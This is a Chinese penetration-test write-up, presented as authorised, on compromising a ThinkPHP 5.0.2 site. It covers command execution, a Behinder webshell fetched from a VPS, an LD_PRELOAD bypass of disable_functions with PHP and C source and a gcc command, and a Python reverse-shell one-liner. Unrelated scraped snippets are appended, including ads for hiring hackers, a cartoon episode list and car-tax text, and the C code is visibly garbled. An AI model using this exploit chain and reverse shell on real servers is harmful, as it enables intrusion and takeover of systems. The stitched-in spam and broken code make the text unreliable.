一次授权测试中,发现网站是ThinkPHP 5.0.2搭建的
漏洞存在ThinkPHP 5.0.2 命令执行
尝试写入冰蝎3.0的马
汰,写入报错发现是&的问题。将&url编码。再次尝试
链接失败。
经过本地尝试,发现是+的问题,再写入后,将+变为了空格。将其url编码,再次写入
链接发现失败,继续肝。
除了写入,还可以使用PHP中的copy函数,在vps上开启服务,将vps的马子,直接下载至目标服务器上
链接成功,接下来肯定是whoami一下。
查看disable_functions,发现是可爱的宝塔禁用了passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru
还有啥是宝塔不能禁的。。。还能怎么办,接着肝,在网上学习了大佬的帖子
https://www.meetsec.cn/index.php/archives/44/
尝试利用LD_PRELOAD绕过disable_functions
直接上代码
bypass_disablefunc.php
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
$cmd=$_GET["cmd"];
$out_path=$_GET["outpath"];
$evil_cmdline=$cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path=$_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>
bypass_disablefunc.c
#define _GNU_SOURCE
#include stdlib.h
#include stdio.h
#include string.h
extern char environ;
__attribute__ ((__constructor__)) void preload (void)
{
get command line options and arg
const char cmdline=getenv(EVIL_CMDLINE);
unset environment variable LD_PRELOAD.
unsetenv(LD_PRELOAD) no effect on some
distribution (e.g., centos), I need crafty trick.
int i;
for (i=0; environ[i]; ++i) {
if (strstr(environ[i], LD_PRELOAD)) {
environ[i][0]='0';
}
}
executive command
system(cmdline);
}
用命令 gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so 将 bypass_disablefunc.c 编译为共享对象 bypass_disablefunc_x64.so:
要根据目标架构编译成不同版本,在 x64 的环境中编译,若不带编译选项则默认为 x64,若要编译成 x86 架构需要加上 -m32 选项。
通过冰蝎上传,然后测试效果:
命令执行成功。Nc反弹shell
提示没有-e的参数,直接使用python反弹
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
反弹成功
总结:这次的测试,写入冰蝎的过程要注意编码问题。然后就是利用LD_PRELOAD绕过disable_functions。
黑客要有什么条件破解充值系统的黑客软件(超级黑客系统)黑客军团第一季到底讲了什么入侵网络黑客(网络黑客教程)怎么才能认识电脑黑客如何快速的封死微信号(怎样把别人微信号封死)黑客怎么娄网贷每次打开app...
在哪能租黑客(租黑客)(tiechemo.com)一直致力于黑客(HACK)技术、黑客QQ群、信息安全、web安全、渗透运维、黑客工具、找黑客、黑客联系方式、24小时在线网络黑客、黑客业务、黑客联盟、...
本文导读目录: 1、黑客,极客,骇客,红客,蓝客,白客,分别指的哪些人 2、恶意代码、病毒、木马和黑客是一种什么关系?有什么区别?危害有什么不同? 3、什么是黑客,黑客的起源 4、黑客,红...
车船税是指对在我国境内应依法到公安、交通、农业、渔业、军事等管理部门办理登记的车辆、船舶,根据其种类,按照规定的计税依据和年税额标准计算。 就是交税的时候少交点,车船费都是几百款钱,如果是购置税减半的...
国语的没有到127呢应该还在第一部TVB上面也有在百度视频上面输入“守护甜心”下面就有守护甜心|守护甜心国语版你就可以看了国语配音很奇怪的。 第一季第01话守护甜心诞生!第02话心灵之蛋!第03话刷刷...
皇族战队成员(皇族历代成员盘点) 上单:Godlike(神超) 打野:Lucky(蜘蛛侠百思特网) 中单:White(五五开) ADC:Uzi 辅助:Tabe S3的皇族可...